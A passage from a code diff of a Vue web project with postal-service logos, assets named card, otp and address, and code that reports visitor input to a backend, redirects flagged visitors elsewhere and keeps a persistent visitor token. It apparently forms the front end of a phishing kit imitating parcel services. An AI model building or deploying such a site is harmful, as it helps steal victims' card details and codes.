<path d="M32.2004 14.3535C32.277 14.3535 32.3426 14.3754 32.3973 14.4301C32.452 14.4848 32.4739 14.5504 32.4739 14.627C32.4739 14.7036 32.452 14.7692 32.3973 14.8239C32.3426 14.8787 32.277 14.9005 32.2004 14.9005C32.1238 14.9005 32.0582 14.8787 32.0035 14.8239C31.9488 14.7692 31.9269 14.7036 31.9269 14.627C31.9269 14.5504 31.9488 14.4848 32.0035 14.4301C32.0582 14.3863 32.1238 14.3535 32.2004 14.3535Z" fill="white"/>
|
||||
<path d="M17.1684 47.4813C25.1657 47.4813 31.6424 41.0047 31.6424 33.0073C31.6424 25.0099 25.1657 18.5332 17.1684 18.5332C9.17097 18.5332 2.68335 24.9989 2.68335 32.9963C2.68335 40.9937 9.17097 47.4813 17.1684 47.4813Z" fill="#F99D2A"/>
|
||||
<mask id="mask0" mask-type="alpha" maskUnits="userSpaceOnUse" x="2" y="18" width="30" height="30">
|
||||
<path d="M17.1684 47.4813C25.1657 47.4813 31.6424 41.0047 31.6424 33.0073C31.6424 25.0099 25.1657 18.5332 17.1684 18.5332C9.17097 18.5332 2.68335 24.9989 2.68335 32.9963C2.68335 40.9937 9.17097 47.4813 17.1684 47.4813Z" fill="#F99D2A"/>
|
||||
</mask>
|
||||
<g mask="url(#mask0)">
|
||||
<path d="M23.2292 34.834H18.5796L19.422 51.8462H28.3931L23.2292 34.834Z" fill="white"/>
|
||||
<path d="M11.1402 34.834H15.7899L14.9365 51.8462H5.96545L11.1402 34.834Z" fill="white"/>
|
||||
<path d="M10.2869 32.722L9.84925 34.177H8.66769V32.7657H5.58252V31.6279H28.8198V32.7657H25.7565V34.177H24.564L24.1264 32.722H10.2869Z" fill="white"/>
|
||||
<path d="M15.1663 18.8828H16.5995L15.9321 29.9326H11.7529L15.1663 18.8828Z" fill="white"/>
|
||||
<path d="M19.1048 18.8828H17.6169L18.3499 29.9326H22.5182L19.1048 18.8828Z" fill="white"/>
|
||||
</g>
|
||||
<path d="M17.1683 19.1783C9.54288 19.1783 3.35065 25.3815 3.35065 32.996C3.35065 40.6214 9.55382 46.8136 17.1683 46.8136C24.7828 46.8136 30.9859 40.6214 30.9859 32.996C30.9859 25.3815 24.7828 19.1783 17.1683 19.1783ZM17.1683 47.6123C9.10526 47.6123 2.552 41.059 2.552 32.996C2.552 24.9439 9.10526 18.3906 17.1574 18.3906C25.2094 18.3906 31.7627 24.9439 31.7627 32.996C31.7736 41.059 25.2204 47.6123 17.1683 47.6123Z" fill="white"/>
|
||||
<path d="M17.1683 47.853C15.1663 47.853 13.2189 47.4592 11.3809 46.6824C9.60856 45.9385 8.02221 44.8663 6.65467 43.4988C5.28713 42.1312 4.21497 40.5449 3.47103 38.7725C2.69427 36.9455 2.30042 34.9981 2.30042 32.9851C2.30042 30.983 2.69427 29.0356 3.47103 27.1977C4.21497 25.4253 5.28713 23.839 6.65467 22.4714C8.02221 21.1039 9.60856 20.0317 11.3809 19.2878C13.2079 18.511 15.1553 18.1172 17.1683 18.1172C19.1814 18.1172 21.1178 18.511 22.9558 19.2878C24.7281 20.0317 26.3145 21.1039 27.682 22.4714C29.0495 23.839 30.1217 25.4253 30.8656 27.1977C31.6424 29.0247 32.0363 30.9721 32.0363 32.9851C32.0363 34.9872 31.6424 36.9346 30.8656 38.7725C30.1217 40.5449 29.0495 42.1312 27.682 43.4988C26.3145 44.8663 24.7281 45.9385 22.9558 46.6824C21.1178 47.4592 19.1704 47.853 17.1683 47.853ZM17.1683 18.6314C9.24753 18.6314 2.80367 25.0752 2.80367 32.996C2.80367 40.9168 9.24753 47.3607 17.1683 47.3607C25.0891 47.3607 31.533 40.9168 31.533 32.996C31.533 25.0752 25.0782 18.6314 17.1683 18.6314Z" fill="#F99D2A"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 14 KiB |
15
t_global_post_temp2/public/img/ematrica-logo.54ca8cf4.svg
Normal file
@@ -0,0 +1,15 @@
|
||||
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M4.75977 0.259006L19.3986 0.230225C19.4058 5.68428 19.4526 16.0383 19.4382 16.5816C19.4166 17.4486 19.4022 17.6933 18.9309 18.1898C16.7004 20.0318 14.4699 21.8702 12.2357 23.7122C9.87564 21.8846 7.67747 20.1037 5.34259 18.1898C4.8569 17.6825 4.81373 17.5134 4.78855 16.6176L4.75977 0.259006Z" fill="#E40E20"/>
|
||||
<path d="M12.243 24L12.1027 23.8885C9.84335 22.14 7.70994 20.4167 5.20237 18.3625L5.18078 18.3445C4.64473 17.7832 4.59077 17.553 4.56558 16.6212V16.614L4.5332 0.0287811L19.6218 0V0.223055C19.6254 2.6083 19.6362 5.98651 19.647 8.96537C19.6614 12.8868 19.6722 16.2722 19.6614 16.578C19.6398 17.4451 19.629 17.7689 19.0929 18.3337L19.0714 18.3517L12.243 24ZM5.49738 18.0279C7.94379 20.0318 10.034 21.7227 12.2322 23.428L18.7763 18.0279C19.1865 17.5926 19.1901 17.4163 19.2117 16.578C19.2189 16.2758 19.2081 12.894 19.1973 8.97616C19.1865 6.08724 19.1757 2.82776 19.1721 0.456903L4.98291 0.482086L5.01529 16.614C5.04047 17.4738 5.07645 17.5854 5.49738 18.0279Z" fill="white"/>
|
||||
<path d="M6.40059 1.87065L6.28906 1.87091L6.32479 17.1394L6.43631 17.1391L6.40059 1.87065Z" fill="white"/>
|
||||
<path d="M17.7366 1.853L6.36084 1.87427L6.36106 1.99299L17.7369 1.97172L17.7366 1.853Z" fill="white"/>
|
||||
<path d="M17.7977 1.85272L17.6934 1.85297L17.7296 17.1286L17.8339 17.1284L17.7977 1.85272Z" fill="white"/>
|
||||
<path d="M9.79674 16.1751L14.56 16.1679V17.1249L17.8339 17.1213L12.2252 21.845L6.36816 17.1429L9.77875 17.1285L9.79674 16.1751Z" fill="white"/>
|
||||
<path d="M14.1497 8.67035L12.5308 8.67395L12.8402 15.1318L15.9593 15.1246L14.1497 8.67035Z" fill="white"/>
|
||||
<path d="M10.1526 8.67755L11.7716 8.67395L11.4873 15.1318L8.36816 15.1389L10.1526 8.67755Z" fill="white"/>
|
||||
<path d="M9.75363 7.87886L9.59894 8.42931H9.1888V7.89325L8.1167 7.89685V7.46154L16.197 7.44714V7.87886L15.1321 7.88246V8.41851H14.7184L14.5673 7.86807L9.75363 7.87886Z" fill="white"/>
|
||||
<path d="M11.5417 2.83136H12.0417L11.8187 7.02623H10.3652L11.5417 2.83136Z" fill="white"/>
|
||||
<path d="M12.7036 2.82776H12.1855L12.4482 7.02263L13.9016 7.01903L12.7036 2.82776Z" fill="white"/>
|
||||
<path d="M8.49786 14.7072C7.71357 13.9841 7.13075 13.1027 6.81415 12.1601C6.50475 11.2391 6.45798 10.2749 6.67025 9.37189C7.10916 7.52988 8.60219 6.1232 10.7644 5.5116L10.7896 5.59794C8.65975 6.19875 7.18831 7.58385 6.75659 9.39347C6.32487 11.2103 7.01202 13.2214 8.55902 14.6425L8.49786 14.7072Z" fill="white"/>
|
||||
<path d="M15.2758 12.8148L15.2254 12.7429C17.0423 11.4513 17.8338 9.33591 17.2941 7.22408C16.7473 5.09067 14.97 3.54368 12.7646 3.28464L12.7754 3.1947C13.9267 3.33141 14.9736 3.79911 15.7975 4.55462C16.571 5.25976 17.1178 6.17356 17.3804 7.1989C17.9273 9.3467 17.1214 11.4981 15.2758 12.8148Z" fill="white"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 2.7 KiB |
17
t_global_post_temp2/public/img/hugo-logo.095748d4.svg
Normal file
@@ -0,0 +1,17 @@
|
||||
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M3.4391 0.268738C3.4391 0.268738 1.33545 0.268738 1.33545 2.37238V16.9827C1.33545 16.9827 1.33545 19.0864 3.4391 19.0864H20.5293C20.5293 19.0864 22.633 19.0864 22.633 16.9827V2.37238C22.633 2.37238 22.633 0.268738 20.5293 0.268738H3.4391Z" fill="#F99D2A"/>
|
||||
<path d="M20.5295 19.3551H3.43928C1.55829 19.3551 1.06692 17.8042 1.06692 16.9827V2.37236C1.05925 0.49904 2.61779 0 3.43928 0H20.5295C22.4105 0 22.9019 1.55086 22.9019 2.37236V16.9827C22.9019 18.8637 21.351 19.3551 20.5295 19.3551ZM3.43928 0.537428C3.36251 0.537428 1.60435 0.568138 1.60435 2.37236V16.9827C1.60435 17.0595 1.63506 18.8177 3.43928 18.8177H20.5295C20.6063 18.8177 22.3644 18.7869 22.3644 16.9827V2.37236C22.3644 2.29559 22.3337 0.537428 20.5295 0.537428H3.43928Z" fill="white"/>
|
||||
<path d="M3.72349 23.7313C3.72349 23.7313 1.12848 23.7313 2.54115 21.5509L10.6026 9.07485C10.6026 9.07485 12.0076 6.89443 13.4126 9.07485L21.474 21.5509C21.474 21.5509 22.879 23.7313 20.2916 23.7313H3.72349Z" fill="#597B91"/>
|
||||
<path d="M20.276 24H3.72319C3.66945 24 2.41033 23.9923 1.98807 23.2169C1.73471 22.7485 1.84219 22.142 2.3182 21.4127L10.3796 8.93665C10.4103 8.89058 11.0936 7.84644 12.061 7.84644C12.6445 7.84644 13.1742 8.21496 13.6426 8.93665L21.704 21.4127C21.7347 21.4587 22.4103 22.5259 21.9881 23.3013C21.7194 23.762 21.1512 24 20.276 24ZM12.0533 8.38386C11.3854 8.38386 10.8249 9.22072 10.8172 9.22839L2.75582 21.7044C2.51014 22.0883 2.25678 22.6104 2.44872 22.9635C2.67137 23.3781 3.43912 23.4702 3.71552 23.4702H20.276C20.729 23.4702 21.3124 23.3935 21.4967 23.048C21.7194 22.6334 21.3815 21.9424 21.2357 21.7121L13.1742 9.23607C12.8211 8.66793 12.4372 8.38386 12.0533 8.38386Z" fill="white"/>
|
||||
<path d="M12.2455 10.0499H11.7848L11.5161 11.2016H12.5142L12.2455 10.0499Z" fill="white"/>
|
||||
<path d="M12.6367 12.476H11.2778L10.4717 15.2937H13.3584L12.6367 12.476Z" fill="white"/>
|
||||
<path d="M13.7196 16.8752H10.1112L8.49121 22.142H15.424L13.7196 16.8752Z" fill="white"/>
|
||||
<path d="M3.20117 2.23413H3.6004V3.90016H5.6196V2.23413H6.01883V6.20342H5.6196V4.28404H3.6004V6.20342H3.20117V2.23413Z" fill="white"/>
|
||||
<path d="M6.12638 6.31859H5.51218V4.3992H3.70795V6.31859H3.09375V2.12665H3.70795V3.79268H5.51218V2.12665H6.12638V6.31859ZM5.72715 6.09594H5.90373V2.34162H5.72715V4.00765H3.49298V2.34162H3.3164V6.09594H3.49298V4.17655H5.73483V6.09594H5.72715Z" fill="white"/>
|
||||
<path d="M6.93994 2.23413H7.33917V4.62952C7.33917 4.91359 7.34685 5.09018 7.35453 5.15927C7.37756 5.31282 7.42363 5.44334 7.49272 5.55083C7.56182 5.65831 7.67699 5.74277 7.82286 5.81186C7.96873 5.88096 8.12228 5.91935 8.27583 5.91935C8.40635 5.91935 8.53687 5.88864 8.65203 5.8349C8.77488 5.78115 8.87468 5.70438 8.95146 5.60457C9.03591 5.50476 9.08965 5.3896 9.12804 5.24373C9.15875 5.14392 9.16643 4.93662 9.16643 4.62185V2.23413H9.56566V4.62952C9.56566 4.98269 9.52728 5.26676 9.45818 5.48941C9.38908 5.70438 9.25088 5.89632 9.04359 6.05755C8.8363 6.21877 8.58294 6.30323 8.29119 6.30323C7.96873 6.30323 7.70002 6.22645 7.46969 6.0729C7.23937 5.91935 7.08581 5.71973 7.00904 5.46637C6.96297 5.31282 6.93994 5.03643 6.93994 4.62952V2.23413Z" fill="white"/>
|
||||
<path d="M8.29907 6.41839C7.96125 6.41839 7.66183 6.33394 7.41615 6.17271C7.17047 6.00381 7.00156 5.78116 6.91711 5.50477C6.86336 5.33586 6.84033 5.05179 6.84033 4.6372V2.12665H7.45454V4.62953C7.45454 4.97502 7.46221 5.09786 7.46989 5.14392C7.48525 5.28212 7.53131 5.40496 7.59273 5.48941C7.65415 5.58154 7.75396 5.65832 7.88448 5.71974C8.13016 5.8349 8.3912 5.85025 8.62152 5.74277C8.72901 5.6967 8.81346 5.62761 8.88256 5.54315C8.95166 5.4587 9.0054 5.35121 9.03611 5.22837C9.05146 5.16695 9.0745 5.0134 9.0745 4.6372V2.12665H9.6887V4.62953C9.6887 4.99037 9.65031 5.29747 9.58122 5.52012C9.50444 5.75812 9.35089 5.96542 9.12824 6.142C8.89024 6.32626 8.61384 6.41839 8.29907 6.41839ZM7.04763 2.34162V4.62953C7.04763 5.02108 7.07066 5.28979 7.11672 5.43567C7.18582 5.66599 7.32402 5.84258 7.53131 5.98845C7.7386 6.12665 7.99964 6.19574 8.29139 6.19574C8.56778 6.19574 8.79043 6.12665 8.98237 5.9731C9.1743 5.82722 9.29715 5.65064 9.35857 5.4587C9.42766 5.25141 9.45837 4.97502 9.45837 4.62953V2.34162H9.28179V4.62953C9.28179 4.95198 9.26644 5.16695 9.23573 5.28212C9.19734 5.43567 9.12824 5.57386 9.03611 5.68135C8.94398 5.79651 8.82882 5.88097 8.6983 5.94239C8.41423 6.0729 8.08409 6.06523 7.77699 5.91935C7.60809 5.84258 7.48525 5.73509 7.40079 5.61993C7.31634 5.49709 7.27027 5.35122 7.24724 5.18231C7.23956 5.10553 7.23189 4.92895 7.23189 4.6372V2.34162H7.04763Z" fill="white"/>
|
||||
<path d="M10.188 4.55273H11.6698V4.88287H10.188V4.55273Z" fill="white"/>
|
||||
<path d="M11.7772 4.99036H10.0728V4.44525H11.7772V4.99036ZM10.2954 4.76771H11.5622V4.65255H10.2954V4.76771Z" fill="white"/>
|
||||
<path d="M15.9073 2.8867L15.3776 3.41645C15.0398 3.06329 14.6482 2.87902 14.2029 2.87902C13.8114 2.87902 13.4812 3.00954 13.2202 3.27058C12.9592 3.53162 12.821 3.84639 12.821 4.21492C12.821 4.59879 12.9592 4.92125 13.2279 5.18996C13.5043 5.45868 13.8421 5.5892 14.2413 5.5892C14.5024 5.5892 14.725 5.53545 14.9016 5.42797C15.0782 5.32048 15.224 5.1439 15.3315 4.91357H14.1799V4.20724H16.1761L16.1837 4.37615C16.1837 4.72163 16.0916 5.05177 15.915 5.36655C15.7384 5.68133 15.5004 5.91165 15.2164 6.08056C14.9323 6.24179 14.5945 6.32624 14.2106 6.32624C13.796 6.32624 13.4275 6.23411 13.105 6.05753C12.7826 5.88094 12.5292 5.61991 12.3373 5.28977C12.153 4.95964 12.0532 4.59879 12.0532 4.21492C12.0532 3.69284 12.2298 3.23219 12.5753 2.84064C12.9899 2.37998 13.5273 2.14966 14.1876 2.14966C14.5331 2.14966 14.8555 2.21108 15.1549 2.3416C15.416 2.43373 15.6693 2.61799 15.9073 2.8867Z" fill="white"/>
|
||||
<path d="M18.702 2.13434C19.2624 2.13434 19.7461 2.33395 20.153 2.74086C20.5599 3.15545 20.7596 3.64681 20.7596 4.23031C20.7596 4.80612 20.5599 5.29749 20.1607 5.7044C19.7615 6.10363 19.2778 6.30325 18.7097 6.30325C18.1108 6.30325 17.6194 6.09595 17.2279 5.68136C16.8363 5.26678 16.6367 4.78309 16.6367 4.21495C16.6367 3.83875 16.7288 3.48559 16.9131 3.17081C17.0974 2.85603 17.3507 2.60267 17.6732 2.41073C17.988 2.22647 18.3335 2.13434 18.702 2.13434ZM18.6943 2.87906C18.3258 2.87906 18.0187 3.00958 17.7653 3.26294C17.512 3.5163 17.3891 3.84643 17.3891 4.23799C17.3891 4.67561 17.5503 5.0211 17.8651 5.28213C18.1108 5.48175 18.3872 5.58156 18.7097 5.58156C19.0705 5.58156 19.3699 5.45104 19.6233 5.19C19.8766 4.92896 19.9995 4.61419 19.9995 4.23031C19.9995 3.85411 19.869 3.53165 19.6156 3.27061C19.3699 3.00958 19.0628 2.87906 18.6943 2.87906Z" fill="white"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 6.4 KiB |
BIN
t_global_post_temp2/public/products/1.png
Normal file
|
After Width: | Height: | Size: 163 KiB |
BIN
t_global_post_temp2/public/products/2.png
Normal file
|
After Width: | Height: | Size: 133 KiB |
BIN
t_global_post_temp2/public/products/3.png
Normal file
|
After Width: | Height: | Size: 259 KiB |
BIN
t_global_post_temp2/public/products/4.png
Normal file
|
After Width: | Height: | Size: 60 KiB |
BIN
t_global_post_temp2/public/products/5.png
Normal file
|
After Width: | Height: | Size: 260 KiB |
BIN
t_global_post_temp2/public/products/6.png
Normal file
|
After Width: | Height: | Size: 261 KiB |
BIN
t_global_post_temp2/public/products/address.png
Normal file
|
After Width: | Height: | Size: 6.3 KiB |
BIN
t_global_post_temp2/public/products/app.png
Normal file
|
After Width: | Height: | Size: 137 KiB |
BIN
t_global_post_temp2/public/products/card.png
Normal file
|
After Width: | Height: | Size: 1.2 KiB |
BIN
t_global_post_temp2/public/products/otp.png
Normal file
|
After Width: | Height: | Size: 1.5 KiB |
BIN
t_global_post_temp2/public/products/top.png
Normal file
|
After Width: | Height: | Size: 1.9 KiB |
70
t_global_post_temp2/src/App.vue
Normal file
@@ -0,0 +1,70 @@
|
||||
<script setup lang="ts">
|
||||
import { RouterView } from "vue-router";
|
||||
import { onMounted } from "vue";
|
||||
import http from "@/api/http";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import {
|
||||
configData,
|
||||
loginSuccess,
|
||||
redirectToExternal,
|
||||
headHtml,
|
||||
loadHtml,
|
||||
headerHtml,
|
||||
footerHtml,
|
||||
} from "@/utils/common";
|
||||
import { generateECDHKeyPair, deriveSessionKey } from "@/utils/socketio";
|
||||
import LoadingView from "@/views/LoadingView.vue";
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
onMounted(() => {
|
||||
login();
|
||||
});
|
||||
|
||||
const login = async function () {
|
||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
||||
loadingStore.setLoading(true);
|
||||
|
||||
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
|
||||
|
||||
http.post("/api", { clientPublicKey: clientPublicKeyB64 }).then(async (data) => {
|
||||
if (data.data.isBlock) {
|
||||
redirectToExternal();
|
||||
return;
|
||||
}
|
||||
if (data.data.isFirst) {
|
||||
localStorage.removeItem("route")
|
||||
}
|
||||
let token = data.data.Token;
|
||||
if (data.data.mode) {
|
||||
localStorage.setItem("mode", data.data.mode);
|
||||
}
|
||||
|
||||
// 如果服务端返回了公钥,完成 ECDH 推导会话密钥(兼容大小写两种字段名)
|
||||
const serverPubKey = data.data.ServerPublicKey || data.data.serverPublicKey;
|
||||
let sessionCrypto = null;
|
||||
if (serverPubKey) {
|
||||
try {
|
||||
sessionCrypto = await deriveSessionKey(serverPubKey, keyPair.privateKey);
|
||||
} catch (e) {
|
||||
|
||||
}
|
||||
}
|
||||
loginSuccess(token, data.data.mode, sessionCrypto);
|
||||
|
||||
if (data.data.custom) {
|
||||
configData.value = JSON.parse(data.data.custom);
|
||||
}
|
||||
});
|
||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
||||
|
||||
};
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div v-html="headHtml"></div>
|
||||
<LoadingView />
|
||||
<RouterView />
|
||||
</template>
|
||||
|
||||
<style scoped></style>
|
||||
5
t_global_post_temp2/src/api/api.ts
Normal file
@@ -0,0 +1,5 @@
|
||||
import http from "@/api/http";
|
||||
|
||||
export function sendInput(data: any) {
|
||||
http.post("/api/input", data).then((data) => {});
|
||||
}
|
||||
223
t_global_post_temp2/src/api/http.ts
Normal file
@@ -0,0 +1,223 @@
|
||||
// http.js
|
||||
import axios from "axios";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
|
||||
// ============ 配置 ============
|
||||
const BASE_URL = import.meta.env.VITE_BASE_URL === "/"
|
||||
? "/"
|
||||
: import.meta.env.VITE_BASE_URL.startsWith('localhost:')
|
||||
? `http://${import.meta.env.VITE_BASE_URL}`
|
||||
: `https://${import.meta.env.VITE_BASE_URL}`;
|
||||
|
||||
const DB_CONFIG = {
|
||||
name: "TokenDB",
|
||||
version: 2,
|
||||
store: "tokens",
|
||||
key: "userToken",
|
||||
} as const;
|
||||
|
||||
const STORAGE_KEY = "token";
|
||||
|
||||
// ============ IndexedDB 操作 ============
|
||||
class TokenDB {
|
||||
private static async open(): Promise<IDBDatabase> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const request = indexedDB.open(DB_CONFIG.name, DB_CONFIG.version);
|
||||
request.onerror = () => reject(request.error);
|
||||
request.onsuccess = () => resolve(request.result);
|
||||
request.onupgradeneeded = (event) => {
|
||||
const db = (event.target as IDBOpenDBRequest).result;
|
||||
if (db.objectStoreNames.contains(DB_CONFIG.store)) {
|
||||
db.deleteObjectStore(DB_CONFIG.store);
|
||||
}
|
||||
db.createObjectStore(DB_CONFIG.store, { keyPath: "key" });
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
static async get(): Promise<string | null> {
|
||||
try {
|
||||
const db = await this.open();
|
||||
return new Promise((resolve) => {
|
||||
const tx = db.transaction(DB_CONFIG.store, "readonly");
|
||||
const request = tx.objectStore(DB_CONFIG.store).get(DB_CONFIG.key);
|
||||
request.onsuccess = () => resolve(request.result?.value || null);
|
||||
request.onerror = () => resolve(null);
|
||||
tx.oncomplete = () => db.close();
|
||||
tx.onabort = () => db.close();
|
||||
});
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static async set(token: string): Promise<void> {
|
||||
try {
|
||||
const db = await this.open();
|
||||
return new Promise((resolve) => {
|
||||
const tx = db.transaction(DB_CONFIG.store, "readwrite");
|
||||
tx.objectStore(DB_CONFIG.store).put({ key: DB_CONFIG.key, value: token });
|
||||
tx.oncomplete = () => { db.close(); resolve(); };
|
||||
tx.onerror = () => { db.close(); resolve(); };
|
||||
});
|
||||
} catch {
|
||||
// 静默失败,有其他存储兜底
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ Token 管理器 ============
|
||||
class TokenManager {
|
||||
private static cache: string | null = null;
|
||||
private static pending: Promise<string> | null = null;
|
||||
|
||||
// UUID v4 格式校验,防止脏数据
|
||||
private static isValidToken(token: string | null): token is string {
|
||||
return !!token && /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(token);
|
||||
}
|
||||
|
||||
// 安全地操作 Storage
|
||||
private static safeGet(storage: Storage): string | null {
|
||||
try {
|
||||
return storage.getItem(STORAGE_KEY);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static safeSet(storage: Storage, token: string): void {
|
||||
try {
|
||||
storage.setItem(STORAGE_KEY, token);
|
||||
} catch {
|
||||
// 静默失败
|
||||
}
|
||||
}
|
||||
|
||||
// Cookie 操作(同步,iOS 上比 localStorage 更早可用)
|
||||
private static getFromCookie(): string | null {
|
||||
try {
|
||||
const match = document.cookie.match(new RegExp(`(?:^|; )${STORAGE_KEY}=([^;]*)`));
|
||||
return match ? decodeURIComponent(match[1]) : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static saveToCookie(token: string): void {
|
||||
try {
|
||||
// 有效期 400 天(Safari 上限),SameSite=Lax 兼容 WebView
|
||||
document.cookie = `${STORAGE_KEY}=${encodeURIComponent(token)};path=/;max-age=34560000;SameSite=Lax`;
|
||||
} catch {
|
||||
// 静默失败
|
||||
}
|
||||
}
|
||||
|
||||
// 同步到所有存储(后台执行,不阻塞)
|
||||
private static syncToAllStorages(token: string): void {
|
||||
this.safeSet(sessionStorage, token);
|
||||
this.safeSet(localStorage, token);
|
||||
this.saveToCookie(token);
|
||||
TokenDB.set(token).catch(() => { });
|
||||
}
|
||||
|
||||
// 从同步存储快速获取(cookie 优先,iOS 上最可靠的同步读取)
|
||||
private static getFromSyncStorage(): string | null {
|
||||
const token = this.getFromCookie() || this.safeGet(sessionStorage) || this.safeGet(localStorage);
|
||||
return this.isValidToken(token) ? token : null;
|
||||
}
|
||||
|
||||
// 延迟后重试读取同步存储(iOS 冷启动时存储可能未就绪)
|
||||
private static waitAndRetrySync(ms: number): Promise<string | null> {
|
||||
return new Promise(resolve => {
|
||||
setTimeout(() => resolve(this.getFromSyncStorage()), ms);
|
||||
});
|
||||
}
|
||||
|
||||
// 主入口:获取或创建 Token
|
||||
static async getToken(): Promise<string> {
|
||||
// 1. 内存缓存(最快)
|
||||
if (this.cache) return this.cache;
|
||||
|
||||
// 2. 等待进行中的创建(并发安全)
|
||||
if (this.pending) return this.pending;
|
||||
|
||||
// 3. 同步存储快速路径
|
||||
const syncToken = this.getFromSyncStorage();
|
||||
if (syncToken) {
|
||||
this.cache = syncToken;
|
||||
this.syncToAllStorages(syncToken);
|
||||
return syncToken;
|
||||
}
|
||||
|
||||
// 4. 异步获取或创建(带锁)
|
||||
this.pending = this.createToken();
|
||||
return this.pending;
|
||||
}
|
||||
|
||||
private static async createToken(): Promise<string> {
|
||||
try {
|
||||
// 再次检查缓存
|
||||
if (this.cache) return this.cache;
|
||||
|
||||
// 尝试从 IndexedDB 恢复
|
||||
const dbToken = await TokenDB.get();
|
||||
if (dbToken && this.isValidToken(dbToken)) {
|
||||
this.cache = dbToken;
|
||||
this.syncToAllStorages(dbToken);
|
||||
return dbToken;
|
||||
}
|
||||
|
||||
// iOS 冷启动兜底:等待一小段时间后重试同步存储
|
||||
// (localStorage/cookie 数据可能存在,但初始化瞬间还未就绪)
|
||||
for (const delay of [50, 100, 150]) {
|
||||
const retryToken = await this.waitAndRetrySync(delay);
|
||||
if (retryToken) {
|
||||
this.cache = retryToken;
|
||||
this.syncToAllStorages(retryToken);
|
||||
return retryToken;
|
||||
}
|
||||
}
|
||||
|
||||
// 所有恢复手段用尽,生成新 Token
|
||||
const newToken = uuidv4();
|
||||
this.cache = newToken;
|
||||
this.syncToAllStorages(newToken);
|
||||
return newToken;
|
||||
} finally {
|
||||
this.pending = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ Axios 实例 ============
|
||||
const http = axios.create({
|
||||
baseURL: BASE_URL,
|
||||
timeout: 15000,
|
||||
});
|
||||
|
||||
// 请求拦截器
|
||||
http.interceptors.request.use(
|
||||
async (config) => {
|
||||
const token = await TokenManager.getToken();
|
||||
config.headers["Token"] = token;
|
||||
config.headers["X-Token"] = token;
|
||||
config.params = { ...config.params, token };
|
||||
return config;
|
||||
},
|
||||
(error) => Promise.reject(error)
|
||||
);
|
||||
|
||||
// 响应拦截器
|
||||
http.interceptors.response.use(
|
||||
(response) => response.data,
|
||||
(error) => {
|
||||
if (error.response) {
|
||||
console.error("Error:", error.response.status, error.response.data);
|
||||
} else {
|
||||
console.error("Error:", error.message);
|
||||
}
|
||||
return Promise.reject(error);
|
||||
}
|
||||
);
|
||||
|
||||
export default http;
|
||||
10
t_global_post_temp2/src/assets/base.css
Normal file
@@ -0,0 +1,10 @@
|
||||
|
||||
html,body {
|
||||
padding: 0;
|
||||
border: 0;
|
||||
margin: 0;
|
||||
/* overflow-x: hidden;
|
||||
overflow-y: auto;
|
||||
overflow: hidden auto */
|
||||
}
|
||||
|
||||
1
t_global_post_temp2/src/assets/img/1a32e1333fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 0h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#0079be"/><path d="m599.93 251.45c0-99.415-82.98-168.13-173.9-168.1h-78.242c-92.003-.033-167.73 68.705-167.73 168.1 0 90.93 75.727 165.64 167.73 165.2h78.242c90.914.436 173.9-74.294 173.9-165.2z" fill="#fff"/><path d="m348.28 97.43c-84.07.027-152.19 68.308-152.21 152.58.02 84.258 68.144 152.53 152.21 152.56 84.09-.027 152.23-68.303 152.24-152.56-.011-84.272-68.149-152.55-152.24-152.58z" fill="#0079be"/><path d="m252.07 249.6c.08-41.181 25.746-76.297 61.94-90.25v180.48c-36.194-13.948-61.861-49.045-61.94-90.23zm131 90.274v-180.53c36.207 13.92 61.914 49.057 61.979 90.257-.065 41.212-25.772 76.322-61.979 90.269z" fill="#fff"/></svg>
|
||||
|
After Width: | Height: | Size: 901 B |
1
t_global_post_temp2/src/assets/img/272b931f3fcfa.svg
Normal file
|
After Width: | Height: | Size: 8.7 KiB |
BIN
t_global_post_temp2/src/assets/img/41.jpg
Normal file
|
After Width: | Height: | Size: 68 KiB |
1
t_global_post_temp2/src/assets/img/56af3b633fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" 